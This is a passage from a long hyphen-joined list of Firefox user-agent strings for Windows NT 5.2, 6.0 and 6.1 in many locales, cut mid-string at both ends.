U; Windows NT 5.2; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b3pre) Gecko/20090105 Firefox/3.1b3pre -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.0.04506.648) -Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 -Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 -Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 5.2; sk; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 -Mozilla/5.0 (Windows; U; Windows NT 5.2 x64; en-US; rv:1.9a1) Gecko/20060214 Firefox/1.6a1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.5) Gecko/Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-TW; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0; bg; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.15) Gecko/2009101601 Firefox 2.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/2.0.0.15 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 (.NET CLR 3.0.30618) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.13) Gecko/20101203 Firefox/3.5.9 (de) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729) FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.10 GTB7.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.15) Gecko/20110303 AskTbBT4/3.11.3.15590 Firefox/3.6.15 (.NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729; .NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.10pre) Gecko/20070207 Firefox/1.5.0.10pre -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en_US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.5.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.16) Gecko/20101130 MRA 5.4 (build 02647) Firefox/3.5.16 (.NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.21022; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 (.NET CLR 3.5.30729) FirePHP/0.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b2) Gecko/20081127 Firefox/3.1b1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090405 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 (.NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET CLR 3.5.21022) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-MX; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b1) Gecko/20081007 Firefox/3.1b1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; hu; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; id; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; it-IT; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB7.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.18) Gecko/2010020220 Firefox/3.0.18 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 6.0; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ca; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 (.NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.16) Gecko/20101130 AskTbMYC/3.9.1.14019 Firefox/3.5.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20121221 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-AU; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 GTB5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 FirePHP/0.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729; .NET4.0C) FirePHP/0.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.2) Gecko/20100316 AskTbSPC2/3.9.1.14019 Firefox/3.6.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3pre) Gecko/20100405 Firefox/3.6.3plugin1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100806 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b1) Gecko/20091014 Firefox/3.6b1 GTB5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100306 Firefox3.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:2.0b10) Gecko/20110126 Firefox/4.0b10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; et; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB7.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET 